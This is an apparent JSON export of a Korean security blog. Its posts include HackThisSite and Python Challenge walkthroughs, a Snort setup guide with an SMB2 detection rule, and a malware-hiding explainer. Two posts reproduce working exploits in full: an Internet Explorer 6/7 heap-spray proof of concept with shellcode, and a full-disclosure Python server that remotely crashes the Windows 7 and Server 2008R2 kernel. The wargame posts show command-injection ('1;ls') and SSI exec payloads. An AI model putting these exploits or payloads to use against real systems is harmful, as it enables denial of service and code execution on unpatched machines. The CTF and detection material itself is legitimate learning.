_0x4e9d=[\\x66\\x72\\x6F\\x6D\\x43\\x68\\x61\\x72\\x43\\x6F\\x64\\x65,\\x77\\x72\\x69\\x74\\x65\\];document[_0x4e9d[0x1]](String[_0x4e9d[0x0]](0x3c,0x62,0x75,0x74,0x74,0x6f,0x6e,0x20,0x6f,0x6e,0x63,0x6c,0x69,0x63,0x6b,0x3d,0x27,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74,0x3a,0x69,0x66,0x20,0x28,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x22,0x70,0x61,0x73,0x73,0x22,0x29,0x2e,0x76,0x61,0x6c,0x75,0x65,0x3d,0x3d,0x22,0x6a,0x30,0x30,0x77,0x31,0x6e,0x22,0x29,0x7b,0x61,0x6c,0x65,0x72,0x74,0x28,0x22,0x59,0x6f,0x75,0x20,0x57,0x49,0x4e,0x21,0x22,0x29,0x3b,0x77,0x69,0x6e,0x64,0x6f,0x77,0x2e,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x2b,0x3d,0x20,0x22,0x3f,0x6c,0x76,0x6c,0x5f,0x70,0x61,0x73,0x73,0x77,0x6f,0x72,0x64,0x3d,0x22,0x2b,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x22,0x70,0x61,0x73,0x73,0x22,0x29,0x2e,0x76,0x61,0x6c,0x75,0x65,0x7d,0x65,0x6c,0x73,0x65,0x20,0x7b,0x61,0x6c,0x65,0x72,0x74,0x28,0x22,0x57,0x52,0x4f,0x4e,0x47,0x21,0x20,0x54,0x72,0x79,0x20,0x61,0x67,0x61,0x69,0x6e,0x21,0x22,0x29,0x7d,0x27,0x3e,0x43,0x68,0x65,0x63,0x6b,0x20,0x50,0x61,0x73,0x73,0x77,0x6f,0x72,0x64,0x3c,0x2f,0x62,0x75,0x74,0x74,0x6f,0x6e,0x3e)); \u0026lt;/script\u0026gt; 디코딩 된 부분을 풀어보면 아래와 같다.\n1 \u0026lt;button onclick=\u0026#39;javascript:if (document.getElementById(pass).value==j00w1n){alert(You WIN!);window.location += ?lvl_password=+document.getElementById(pass).value}else {alert(WRONG! Try again!)}\u0026#39;\u0026gt;Check Password\u0026lt;/button\u0026gt; 따라서 j00w1n 가 패스워드!\n","date":"2010-01-03T19:27:18Z","permalink":"/2010/01/03/javascript-missons/","title":"Javascript missons"},{"content":"Level 1 단순한 문제다. 소스를 보면 주석으로 아래와 같은 문장이 있다.\nLevel 2 문제를 읽어보면 패스워드 파일과 비교하도록 해놓았지만 패스워드 파일 업로드를 안했다고 한다. 그래서 그냥 아무것도 입력안하고 버튼을 누르면 통과가 된다. 영어를 모르면 손발이 고생한다는......\nLevel 3 이번엔 패스워드 파일을 업로드 했다고 한다. 파일명이 password 겠지 하고 아래 주소로 접속해보면 패스워드가 나온다. http://www.hackthissite.org/missions/basic/3/password\nLevel 4 [Send password to Sam] 버튼을 누르면 아래와 같이 값이 전송된다.\n1 2 3 4 \u0026lt;form method=post action=/missions/basic/4/level4.php\u0026gt; \u0026lt;input type=hidden value=webmaster@hulla-balloo.com name=to/\u0026gt; \u0026lt;input type=submit value=Send password to Sam/\u0026gt; \u0026lt;/form\u0026gt; 저기 히든값의 메일 주소를 변경하면 패스워드가 나온다.\nLevel 5 이 문제가 왜 있는지는 모르겠지만 이전 Level 4 문제랑 동일하다.\nLevel 6 그냥 Brute Force.....\nLevel 7 숫자를 입력하면 cal 명령어의 인자로 입력을 해준다. 그렇다면 명령어도 같이 실행시킬 수 있지 않을까? 1;ls 라고 입력하면 파일 리스트를 출력해준다!\nLevel 8 이름을 입력하면 blahblah.shtml 파일을 출력해준다. shtml 파일에 대해서 알 필요가 있을거 같아 확인해보니 Server Side Include 파일이라고 한다. (http://en.wikipedia.org/wiki/Server_Side_Includes)\n그렇다면 해당 페이지에 코드도 당연히 삽입이 가능할 것으로 보인다. 패스워드 파일은 /var/www/hackthissite.org/html/missions/basic/8/ 경로에 있다고 했으니 바로 하위 경로의 파일 리스트를 출력하면 확인할 수 있지 않을까?\n\u0026lt;!--#exec cmd=ls ../--\u0026gt; 위 코드 삽입 후 파일 리스트를 얻을 수 있었고 패스워드가 담긴 파일을 알 수 있었다.\nLevel 9 역시 이전 레벨과 마찬가지의 문제이다. 패스워드 파일은 /var/www/hackthissite.org/html/missions/basic/9/ 경로에 있다고 한다. 이전 레벨 8 페이지에서 아래 코드 삽입 후 패스워드를 확인할 수 있었다.\n\u0026lt;!--#exec cmd=ls ../../9--\u0026gt; Level 10 다짜고짜 패스워드를 입력하라고 나온다. 한참 고민하다 보니 쿠키에 이런 값이 있다. level10_authorized = no 위 쿠키값을 no 에서 yes로 변경해주면 문제가 해결된다.\nLevel 11 ....ing\n","date":"2010-01-02T21:25:24Z","permalink":"/2010/01/02/basic-missions/","title":"Basic missions"},{"content":"오늘 웹서핑을 하다 발견은 괜찮은 툴과 사이트를 소개하고자 합니다.\n먼저 첫번째로 툴을 소개하자면 여러 MD5 해시를 온라인에서 크랙해주는 사이트와 연동해주는 툴로 보입니다. 퍼포먼스에 대해선 잘 모르겠지만... 쓸만할거 같아요!\n그리고 두번째로 사이트인데 이 사이트는 위 툴의 기능을 사이트로 옮겨놓은거라 봐도 무방할거 같네요. http://anqel.pl/narzedzia/md5/md5search.php\n","date":"2009-12-28T18:44:37Z","permalink":"/2009/12/28/md5-hash-crack/","title":"MD5 Hash Crack"},{"content":"http://www.pythonchallenge.com/pc/hex/copper.html\n위 페이지의 소스를 보면 아래와 같은 주석이 있다.\n1 \u0026lt;!-- or maybe white.gif would be more bright--\u0026gt; white.gif 파일을 좀 더 밝게 해란다. 또 PIL을 이용해야 하는 문제인가보다. white.gif 파일을 확인하여 보면 gif로 애니메이션 파일이다. 각 프레임별로 이미지를 뽑아서 밝기를 높혀보면 점이 나오는 것을 알 수 있다. 이 점들이 움직이는 대로 선을 그려 보면 문자가 나온다...\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #!c:\\python26\\python.exe import Image, ImageEnhance, ImageDraw im = Image.open(\u0026#39;white.gif\u0026#39;) list = [] try: while 1: im.seek(im.tell()+1) enhancer = ImageEnhance.Brightness(im) bright_im = enhancer.enhance(9999.9) for x in range(im.size[0]): for y in range(im.size[1]): data = im.getpixel((x, y)) if data != 0: list.append((x - 100, y - 100)) except EOFError: pass im = Image.new(\u0026#39;RGB\u0026#39;, (500, 500)) draw = ImageDraw.Draw(im) plus = 30 start = (plus, plus) for x in list: if x == (0, 0): plus += 80 start = (30 + plus, 30) continue end = (start[0] + x[0], start[1] + x[1]) draw.line((start, end), fill=128) start = end im.show() ","date":"2009-12-17T22:56:48Z","permalink":"/2009/12/17/the-python-challenge-level-22/","title":"The Python Challenge - Level 22"},{"content":"해당 문제는 20번에서 받은 파일을 이용하여 푸는 문제 이다. \u0026quot;invader\u0026quot;를 거꾸로 하여 압축을 풀고 나면 package.pack 파일이 나오게 된다. 해당 파일을 Hex Editor로 열어 확인하여 보면 헤더가 [78 9C] 로 시작함을 알 수 있다.\n구글링을 하여보니 zlib 관련 파일로 확인되었다. 따라서 zlib 라이브러리를 사용하여 압축을 해제한다. 해제하면 다시 zlib 관련 파일이 나오며 계속해서 안풀릴때 까지 풀다보면 gzip 파일이 나온다.\n역시 gzip파일도 안풀릴때까지 풀면 어디상 안풀리는 파일이 나오게 되는데 해당 파일을 다시 Hex Editor로 열어 확인하여 보면 파일내용을 거꾸로 확인해보면 zlib 관련 파일인것을 확인할 수 있다.\n그래서 다시 파일을 거꾸로 읽어드려 zlib 라이브러리를 사용하여 압축을 해제 한다. 최종 나오는 메세지는 LOG를 확인하다고 한다.\nLOG? -_-\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #!c:\\python26\\python.exe import zlib, bz2, sys def Format(filename): file = open(filename, \u0026#39;rb\u0026#39;) data = file.read() file.close() a = ord(data[0]) b = ord(data[1]) if a == 120 and b == 156: return \u0026#39;zlib\u0026#39;, \u0026#39; \u0026#39; elif a == 66 and b == 90: return \u0026#39;bz2\u0026#39;, \u0026#39;#\u0026#39; elif a == 115: return \u0026#39;exit\u0026#39;, \u0026#39; \u0026#39; else: output = open(\u0026#39;package.pack\u0026#39;, \u0026#39;wb\u0026#39;) output.write(data[::-1]) return \u0026#39;null\u0026#39;, \u0026#39;\\n\u0026#39; def zlib_def(filename): file = open(filename, \u0026#39;rb\u0026#39;) data = file.read() output = open(\u0026#39;package.pack\u0026#39;, \u0026#39;wb\u0026#39;) output.write(zlib.decompress(data)) file.close() output.close() def bz2_def(filename): file = open(filename, \u0026#39;rb\u0026#39;) data = file.read() output = open(\u0026#39;package.pack\u0026#39;, \u0026#39;wb\u0026#39;) output.write(bz2.decompress(data)) file.close() output.close() last = \u0026#39;\u0026#39; while 1: ret, final = Format(\u0026#39;package.pack\u0026#39;) last += final if ret == \u0026#39;zlib\u0026#39;: zlib_def(\u0026#39;package.pack\u0026#39;) elif ret == \u0026#39;bz2\u0026#39;: bz2_def(\u0026#39;package.pack\u0026#39;) elif ret == \u0026#39;null\u0026#39;: continue elif ret == \u0026#39;exit\u0026#39;: print last exit() LOG에 대해 한참을 고민하다가 zlib, gzip 그리고 이도저도 아닌 파일에 대해 처리할 때 각각 다른 문자열을 찍도록 하여 출력하여 보니 아래와 같은 메세지가 나왔다.\n","date":"2009-12-17T22:55:45Z","permalink":"/2009/12/17/the-python-challenge-level-21/","title":"The Python Challenge - Level 21"},{"content":"외국에서 Autorun 계열 악성코드가 시작프로그램에 등록하는 과정에서 교묘하게 사용자의 눈을 속이는 방식으로 숨기고 있다고 하여 한국어로 재구성을 해보았습니다. 그럼 아래 그림을 먼저 보도록 하겠습니다.\n위 화면에서 무언가 이상한점을 발견하셨나요? 얼핏봐서는 아무리 봐도 이상한 점을 찾을 수 없을 겁니다. 그럼 아래 그림을 보도록 하죠.\n이제 이해가 되시는가요? 그렇습니다. \u0026quot;(비어 있음)\u0026quot; 이라는 바로가기 아이콘을 시작프로그램에 등록하여 C:\\Virus.exe 파일을 실행시키고 있는 것입니다. 얼핏봐서는 아이콘도 없고 하여 속아넘어갈 수 있습니다. 마지막으로 원래 정상적인 화면은 아래와 같습니다. 항상 이러한 부분도 세심히 살펴볼 필요가 있어 보입니다.\n출처 : http://www.sophos.com/blogs/sophoslabs/?p=7786\n","date":"2009-12-04T05:52:31Z","permalink":"/2009/12/04/%EA%B5%90%EB%AC%98%ED%95%98%EA%B2%8C-%EC%88%A8%EA%B8%B0%EB%8A%94-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C/","title":"교묘하게 숨기는 악성코드"},{"content":"Snort 룰 추가하는 방법에 대해 알아보도록 하자. 우선 스노트 룰 작성법은 이후에 다시 설명하도록 하고 간단하게 아래의 룰을 추가해 보도록 하자.\n일단 룰이 위치할 경로는 C:\\Snort\\rules 폴더 이하이다. 해당 폴더 이하에 smb2.rules 라는 이름으로 파일을 새로 만든 후 아래의 내용으로 파일을 저장하자.\n1 alert tcp any any -\u0026gt; any any (msg:\u0026#34;SMB2_DOS_EXPLOIT\u0026#34;; content:\u0026#34;|ff 53 4d 42 72 00 00 00 00|\u0026#34;; sid:100000;) 참고로 위 룰은 Vista/2008/Windows 7 SMB2 BSOD 0Day에 관한 탐지룰이다.\n파일을 생성했으면 설정파일(C:\\Snort\\etc\\snort.conf) 에서 룰을 추가해 준다. 추가 방법은 아래의 내용처럼 Snort 설정파일에서 Step 6 부분을 찾아 하단에 생성시킨 파일을 추가하도록 한다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #################################################################### # Step #6: Customize your rule set # # Up to date snort rules are available at http://www.snort.org # # The snort web site has documentation about how to write your own custom snort # rules. #========================================= # Include all relevant rulesets here # # The following rulesets are disabled by default: # # web-attacks, backdoor, shellcode, policy, porn, info, icmp-info, virus, # chat, multimedia, and p2p # # These rules are either site policy specific or require tuning in order to not # generate false positive alerts in most enviornments. # # Please read the specific include file for more information and # README.alert_order for how rule ordering affects how alerts are triggered. #========================================= include $RULE_PATH/smb2.rules 추가를 했다면 이제 Snort를 재실행 하여 C:\\Snort\\log 폴더 이하에 alert.ids 파일을 확인힌다.\n마지막으로 이번에 아래 사이트를 우연히 알게 되어 스노트 룰을 공부해볼까 하여 스노트 설치법 부터 룰 추가 방법까지 공부한 내용을 정리하여 보았다. 새로운 취약점이 나올때 마다 스노트 룰을 작성하는 연습을 해봐야 겠다 -_-\n스노트 룰 관련 사이트 : http://snortrules.wordpress.com\n","date":"2009-12-01T19:49:25Z","permalink":"/2009/12/01/snort-%EB%A3%B0-%EC%B6%94%EA%B0%80/","title":"Snort 룰 추가"},{"content":"1. 프로그램 다운로드\nSnort : http://www.snort.org/\nWinPcap : http://www.winpcap.org/\n2. 프로그램 설치\n다운로드 받은 스노트 설치파일을 실행하여 설치한다.\n설치 시 나오는 DB 설정 관련은 그냥 무시하고 제일 상단 옵션으로 설치한다.\n그리고 설치경로는 이후 설정하기 편하게 기본설정인 \u0026quot;C:\\Snort\u0026quot; 경로에 설치한다.\n설치 후 Winpcap 설치를 하라는 메세지가 나온다. 확인 후 다운로드 받은 Winpcap 설치한다.\n3. Snort 설정\nSnort 설정파일은 C:\\Snort\\etc\\snort.conf 이다.\n이 파일을 수정하는데 기존 설정은 리눅스 환경으로 경로가 설정되어 있어 윈도우 환경에 맞게 수정하여야 한다.\n수정할 부분은 dynamicpreprocessor, dynamicengine 항목이다.\n[dynamicpreprocessor]\n변경 전 : dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/\n변경 후 : dynamicpreprocessor directory C:\\Snort\\lib\\snort_dynamicpreprocessor\n[dynamicengine]\n변경 전 : dynamicengine /usr/local/lib/snort_dynamicengine/libsf_engine.so\n변경 후 : dynamicengine C:\\Snort\\lib\\snort_dynamicengine\\sf_engine.dll\n4. Snort 실행\n이제 Snort 설정이 끝났으므로 실행을 해보도록 하자. 먼저 현재 컴퓨터에 설치된 네트워크 카드를 알아보자.\n실행파일 경로는 C:\\Snort\\bin\\snort.exe 이다. 아래 명령어를 이용하여 네트워크 카드를 확인할 수 있다.\nSnort.exe -W\n이제 정상적으로 설정이 되었는지 확인해 보도록 하자. 명령어는 아래와 같다.\nsnort.exe -T -c C:\\Snort\\etc\\snort.conf -l C:\\Snort\\log -i 2\n각 옵션의 의미는 아래와 같다.\n-T 옵션 : Snort 설정 파일 정상 여부 테스트\n-l 옵션 : 로그 파일 경로\n-c 옵션 : Snort 설정 파일 위치, 일반적으로 C:\\Snort\\etc\\snort.conf.\n-i 옵션 : 모니터링할 네트워크 카드의 번호. (-W 옵션을 통해 알 수 있음)\n이제 테스트가 끝났으면 -T 옵션을 제외하고 실행하도록 한다. 만약 실행 시 \u0026quot;not using PCAP_FRAMES\u0026quot;이라는 메시지가 나타나면 그냥 무시.\n","date":"2009-12-01T19:36:09Z","permalink":"/2009/12/01/snort-windows-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EC%84%A4%EC%A0%95/","title":"Snort (Windows) 설치 및 설정"},{"content":"Offensive Security 사이트에 익스플로러 관련 취약점이 올라왔다. 올라온 POC 코드는 쉘코드 부분이 계산기를 실행하는 쉘코드로 보이나 수정을 해야 할 것으로 보인다. 아래는 수정한 POC 코드이다.\n음.. 이제 다음은 얘인가?\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 \u0026lt;!-- securitylab.ir K4mr4n_st (at) yahoo (dot) com [email concealed] --\u0026gt; \u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//W3C//DTD XHTML 1.0 Transitional//EN\u0026#34; \u0026#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\u0026#34;\u0026gt; \u0026lt;HTML xmlns=\u0026#34;http://www.w3.org/1999/xhtml\u0026#34;\u0026gt; \u0026lt;HEAD\u0026gt; \u0026lt;script\u0026gt; function load(){ var e; e=document.getElementsByTagName(\u0026#34;STYLE\u0026#34;)[0]; e.outerHTML=\u0026#34;1\u0026#34;; } \u0026lt;/script\u0026gt; \u0026lt;STYLE type=\u0026#34;text/css\u0026#34;\u0026gt; body{ overflow: scroll; margin: 0; } \u0026lt;/style\u0026gt; \u0026lt;SCRIPT language=\u0026#34;javascript\u0026#34;\u0026gt; var shellcode = unescape(\u0026#34;%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063\u0026#34;); var bigblock = unescape(\u0026#34;%u9090%u9090\u0026#34;); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length\u0026lt;slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace\u0026lt;0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x\u0026lt;4000; x++) memory[x] = block + shellcode; \u0026lt;/script\u0026gt; \u0026lt;/HEAD\u0026gt; \u0026lt;BODY onload=\u0026#34;load()\u0026#34;\u0026gt; \u0026lt;/BODY\u0026gt; \u0026lt;/HTML\u0026gt; ","date":"2009-11-22T18:29:58Z","permalink":"/2009/11/22/internet-explorer-67-css-handling-denial-of-service/","title":"Internet Explorer 6/7 CSS Handling Denial of Service"},{"content":"http://www.pythonchallenge.com/pc/hex/idiot2.html\n첫 페이지에 접속하면 이미지만 하나 달랑 주어진다. 이 이미지를 살펴보면 파일명이 unreal.jpg 이다. 이미지 파일에 무언가 있을듯하여 살펴보면 다음과 같다.\n우선 해당 파일일 요청 시 헤더를 살펴보면 Range가 특이한 걸 알 수 있다. 따라서 Range를 변경시켜 가다보면 특정 메세지를 받을 수 있고 최종 파일을 다운로드 할 수 있게 된다.\n아래는 특정 메세지 및 최종 파일을 다운로드 하는 코드이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #!c:\\python26\\python.exe import httplib, re def gogo(number, menu): if menu == 1: headers = { \u0026#39;Host\u0026#39;:\u0026#39;www.pythonchallenge.com\u0026#39;, \u0026#39;User-Agent\u0026#39;:\u0026#39;Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5\u0026#39;, \u0026#39;Accept\u0026#39;:\u0026#39;image/jpeg\u0026#39;, \u0026#39;Authorization\u0026#39;:\u0026#39;Basic YnV0dGVyOmZseQ==\u0026#39;, \u0026#39;Range\u0026#39;:\u0026#39;bytes=\u0026#39; + str(number) + \u0026#39;-2123456789\u0026#39;} elif menu == 2: headers = { \u0026#39;Host\u0026#39;:\u0026#39;www.pythonchallenge.com\u0026#39;, \u0026#39;User-Agent\u0026#39;:\u0026#39;Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5\u0026#39;, \u0026#39;Accept\u0026#39;:\u0026#39;image/jpeg\u0026#39;, \u0026#39;Authorization\u0026#39;:\u0026#39;Basic YnV0dGVyOmZseQ==\u0026#39;, \u0026#39;Range\u0026#39;:\u0026#39;bytes=\u0026#39; + str(2123456789-number) + \u0026#39;-2123456789\u0026#39;} elif menu == 3: headers = { \u0026#39;Host\u0026#39;:\u0026#39;www.pythonchallenge.com\u0026#39;, \u0026#39;User-Agent\u0026#39;:\u0026#39;Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5\u0026#39;, \u0026#39;Accept\u0026#39;:\u0026#39;image/jpeg\u0026#39;, \u0026#39;Authorization\u0026#39;:\u0026#39;Basic YnV0dGVyOmZseQ==\u0026#39;, \u0026#39;Range\u0026#39;:\u0026#39;bytes=1152983631-2123456789\u0026#39;} params = \u0026#39;\u0026#39; conn = httplib.HTTPConnection(\u0026#34;www.pythonchallenge.com:80\u0026#34;) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/pc/hex/unreal.jpg\u0026#39;, params, headers) response = conn.getresponse() headers = response.getheaders() status = response.status data = response.read() conn.close() headers.sort() if status == 200 or status == 206: write(data, number) pos = re.search(\u0026#39;\\d+-\\d+\u0026#39;, headers[0][1]).group() center = pos.index(\u0026#39;-\u0026#39;) first = pos[:center] second = pos[center+1:] if menu == 2: return 1 return int(second) - int(first) else: return 1 def write(data, number): file = open(\u0026#39;output\u0026#39; + str(number), \u0026#39;wb\u0026#39;) file.write(data) file.close() print \u0026#39;----M e n u ----\u0026#39; print \u0026#39;1. First\u0026#39; print \u0026#39;2. Get hint\u0026#39; print \u0026#39;3. Get File\u0026#39; print \u0026#39;----------------\u0026#39; print \u0026#39;Select :\u0026#39;, menu = input() count = 0 while 1: print count ret = gogo(count, menu) count += int(ret) 메뉴에서 1번을 선택하면 특정 메세지를 받을 수 있게 된다. 2번을 선택하면 힌트를 받게 되며 3번을 선택하면 최종 파일을 다운로드 하게 된다.\n1번을 선택하여 Range 값을 0부터 시작하여 탐색했을 시 특정 메세지가 나오며 이러한 메세지를 받다 보면 몇몇 메세지만 보내준 후 더이상 메세지가 나오지 않는것을 알 수 있다.\n따라서 Range 값을 처음부터가 아닌 맨 마지막부터 다시 탐색을 하면 힌트가 나오게 되며 어떤 범위의 파일을 받아야 하는지 알려주게 된다.\n이제 해당 범위의 파일을 받아 보면 ZIP 파일이며 암호가 걸려 있다. 해당 암호는 힌트에서 별명이라고 암시를 하고 있다. 이전에 1번을 선택하여 나온 메세지 중 \u0026quot;invader\u0026quot; 라고 나왔기 때문에 \u0026quot;invader\u0026quot; 가 패스워드 인것으로 보인다.\n하지만 그냥 입력하면 틀리며 \u0026quot;invader\u0026quot;를 거꾸로 입력해야 압축이 풀린다.\n","date":"2009-11-19T15:09:24Z","permalink":"/2009/11/19/the-python-challenge-level-20/","title":"The Python Challenge - Level 20"},{"content":"http://www.pythonchallenge.com/pc/hex/bin.html\n소스를 보면 왠 Base64로 인코딩된 데이터들이 있다. 이 데이터들을 디코딩 하여 wav 파일로 만들어 보면 \u0026quot;Sorry\u0026quot; 라는 말만 나올뿐 어떤 메세지도 들을 수 없었다.\n이것저것 해보다 해당 wav 파일의 width 값을 변경하니 들리지 않던 메세지가 나왔다... 그 메세지는 직접 들어보시길 -_-\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!c:\\python26\\python.exe import urllib, base64, wave url = urllib.urlopen(\u0026#39;http://butter:fly@www.pythonchallenge.com/pc/hex/bin.html\u0026#39;) data = url.readlines() url.close() data = data[27:1986] data = \u0026#39;\u0026#39;.join(data) data = data.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) data = base64.b64decode(data) file = open(\u0026#39;output1.wav\u0026#39;, \u0026#39;wb\u0026#39;) file.write(data) file.close() wav = wave.open(\u0026#39;output1.wav\u0026#39;, \u0026#39;r\u0026#39;) param = wav.getparams() print param data = wav.readframes(55788) wav.close() output = wave.open(\u0026#39;output2.wav\u0026#39;, \u0026#39;w\u0026#39;) output.setparams((1, 1, 21025, 55788, \u0026#39;NONE\u0026#39;, \u0026#39;not compressed\u0026#39;)) output.writeframes(data) output.close() ","date":"2009-11-19T15:08:24Z","permalink":"/2009/11/19/the-python-challenge-level-19/","title":"The Python Challenge - Level 19"},{"content":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 ============================================= - Release date: November 11th, 2009 - Discovered by: Laurent Gaffie - Severity: Medium/High ============================================= I. VULNERABILITY ------------------------- Windows 7 * , Server 2008R2 Remote Kernel Crash II. BACKGROUND ------------------------- #FAIL,#FAIL,#FAIL SDL FAIL, \u0026#39;Most Secure Os Ever\u0026#39; --\u0026gt; Remote Kernel in 2 mn. #FAIL,#FAIL,#FAIL III. DESCRIPTION ------------------------- See : http://g-laurent.blogspot.com/ for much more details #Comment: This bug is specific Windows 7/2008R2. IV. PROOF OF CONCEPT ------------------------- #win7-crash.py: #Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop) #Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an infinite loop. #NO BSOD, YOU GOTTA PULL THE PLUG. #To trigger it fast from the target: \\\\this_script_ip_addr\\BLAH , instantly crash #Author: Laurent Gaffie # import SocketServer packet = \u0026#34;\\x00\\x00\\x00\\x9a\u0026#34; # ---\u0026gt; length should be 9e not 9a.. \u0026#34;\\xfe\\x53\\x4d\\x42\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\u0026#34; \u0026#34;\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34; \u0026#34;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34; \u0026#34;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34; \u0026#34;\\x41\\x00\\x01\\x00\\x02\\x02\\x00\\x00\\x30\\x82\\xa4\\x11\\xe3\\x12\\x23\\x41\u0026#34; \u0026#34;\\xaa\\x4b\\xad\\x99\\xfd\\x52\\x31\\x8d\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\u0026#34; \u0026#34;\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\xcf\\x73\\x67\\x74\\x62\\x60\\xca\\x01\u0026#34; \u0026#34;\\xcb\\x51\\xe0\\x19\\x62\\x60\\xca\\x01\\x80\\x00\\x1e\\x00\\x20\\x4c\\x4d\\x20\u0026#34; \u0026#34;\\x60\\x1c\\x06\\x06\\x2b\\x06\\x01\\x05\\x05\\x02\\xa0\\x12\\x30\\x10\\xa0\\x0e\u0026#34; \u0026#34;\\x30\\x0c\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a\u0026#34; class SMB2(SocketServer.BaseRequestHandler): def handle(self): print \u0026#34;Who:\u0026#34;, self.client_address input = self.request.recv(1024) self.request.send(packet) self.request.close() launch = SocketServer.TCPServer((\u0026#39;\u0026#39;, 445),SMB2)# listen all interfaces port 445 launch.serve_forever() #SDL FAILED V. BUSINESS IMPACT ------------------------- An attacker can remotly crash any Windows 7/Server 2008R2. VI. SYSTEMS AFFECTED ------------------------- Windows 7, Windowns Server 2008R2 VII. SOLUTION ------------------------- No patch available for the moment, your vendor do not care. Close SMB feature and ports, until a real audit is provided. VIII. REFERENCES ------------------------- http://blogs.msdn.com/sdl/ http://g-laurent.blogspot.com/ http://twitter.com/g_laurent IX. CREDITS ------------------------- This vulnerability has been discovered by Laurent Gaffie Laurent.gaffie{remove-this}(at)gmail.com X. REVISION HISTORY ------------------------- November 8th, 2009: MSRC contacted November 8th, 2009: MSRC acknoledge the vuln November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn\u0026#39;t appears on a security bulletin. November 11th, 2009: Win 7 remote kernel smash released XI. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied \u0026#34;as-is\u0026#34; with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. XII.Personal Notes ------------------------- More Remote Kernel FD @MS to come. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ","date":"2009-11-16T04:04:54Z","permalink":"/2009/11/16/windows-7-server-2008r2-remote-kernel-crash/","title":"Windows 7 , Server 2008R2 Remote Kernel Crash"},{"content":"http://www.pythonchallenge.com/pc/return/balloons.html\n비슷한 두개의 그림이 보이며 소스를 보면 \u0026quot;it is more obvious that what you might think\u0026quot; 라는 메세지가 있다. 두 그림의 확실한 차이점은 밝기 이다. 따라서 밝기를 영어로 bright 이니 bright.html 로 접속해 보니 ness 라는 메시지가 나왔다. 따라서 아래 페이지를 확인할 수 있었다.\nhttp://www.pythonchallenge.com/pc/return/brightness.html\n이 페이지 소스에는 deltas.gz 파일이 소스에 들어 있었다. deltas.gz 파일 내용을 살펴보면 PNG 형식의 